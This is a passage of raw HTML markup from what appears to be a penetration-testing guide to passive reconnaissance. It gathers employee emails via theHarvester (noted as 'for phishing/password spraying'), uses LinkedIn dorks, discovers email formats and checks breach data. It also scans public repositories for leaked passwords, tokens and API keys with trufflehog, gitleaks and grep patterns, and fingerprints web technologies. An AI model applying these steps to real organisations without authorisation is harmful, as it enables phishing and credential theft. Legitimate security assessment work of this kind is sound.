&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -b&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; google,bing,linkedin,hunter,anubis,crtsh&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -l&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 500&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; report_target&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Emails only (for phishing/password spraying)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester.py&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -b&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; linkedin,hunter,google&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -l&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -E&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;^[a-zA-Z0-9._%+-]+@&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-5--people-recognition&quot;&gt;Phase 5 — People Recognition&lt;/h2&gt;
&lt;h3 id=&quot;linkedin-osint&quot;&gt;LinkedIn OSINT&lt;/h3&gt;
&lt;p&gt;Identify employees, positions, and technologies used.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Via Google Dorks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:linkedin.com/in&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Company&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Security&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Engineer&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:linkedin.com/in&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Company&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;DevOps&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:linkedin.com/in&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Company&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Active&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Directory&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Tools&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; linkedin2username&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; linkedin2username.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; YOUR_EMAIL&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Company&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Email Format Discovery&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Hunter.io CLI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;https://api.hunter.io/v2/domain-search?domain&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=target.com&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;api&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;_key&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;KEY&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;.data.pattern&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Example output: &amp;#x26;quot;{first}.{last}@target.com&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Email verification with h8mail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; h8mail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;h8mail&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -t&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; emails.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --breach-src&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; haveibeenpwned&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-6--public-code-analysis&quot;&gt;Phase 6 — Public Code Analysis&lt;/h2&gt;
&lt;p&gt;Public repositories often contain accidentally committed credentials, tokens, and internal infrastructure.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# GitHub Dorks — search directly on the site&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company password&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company api_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company internal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Trufflehog — git history scan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; trufflehog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;trufflehog&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; github&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --org=target-company&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --only-verified&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# GitLeaks — scan repositories&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;docker&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;pwd&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;:/path&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; zricethezav/gitleaks:latest&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  detect&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --source=/path&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --report-format&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Specific greps in cloned repos&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://github.com/target/public-repo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; public-repo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -rE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;passwd&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;secret&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;api_key&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;aws_access&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -rE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;https?://[^/]+:[^@]+@&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # URLs with credentials&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-7--web-technology-analysis&quot;&gt;Phase 7 — Web Technology Analysis&lt;/h2&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# WhatWeb — passive fingerprinting via history/cache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whatweb&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -a&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://target.com&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # stealth mode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# BuiltWith API&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;https://api.builtwith.com/v21/api.json?KEY&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=YOUR_KEY&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;LOOKUP&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=target.com&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;.Results[].Result.Paths[].Technologies[].Name&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Wappalyzer CLI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;npm&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -g&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; wappalyzer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wappalyzer&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Wayback Machine — old versions of the website&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;http://web.archive.org/cdx/search/cdx?url&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=*.target.com/*&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=text&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;fl&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=original&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;collapse&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=urlkey&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -100&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;consolidating-intelligence&quot;&gt;Consolidating Intelligence&lt;/h2&gt;
&lt;p&gt;Organize everything into a structure before moving on to active reconnaissance:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;target-intel/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── domains/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── subdomains.txt       # all discovered subdomains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── dns_records.txt      # MX, TXT, NS records&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── whois.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── ips/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── ip_ranges.txt        # target CIDRs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── shodan_results.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── people/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── employees.txt        # names and positions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── emails.txt           # collected emails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── email_format.txt     # format standard&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── tech/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── stack.txt            # identified technologies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── certificates.txt     # SSL certificates found&lt;/span&gt;&lt;/span&gt;
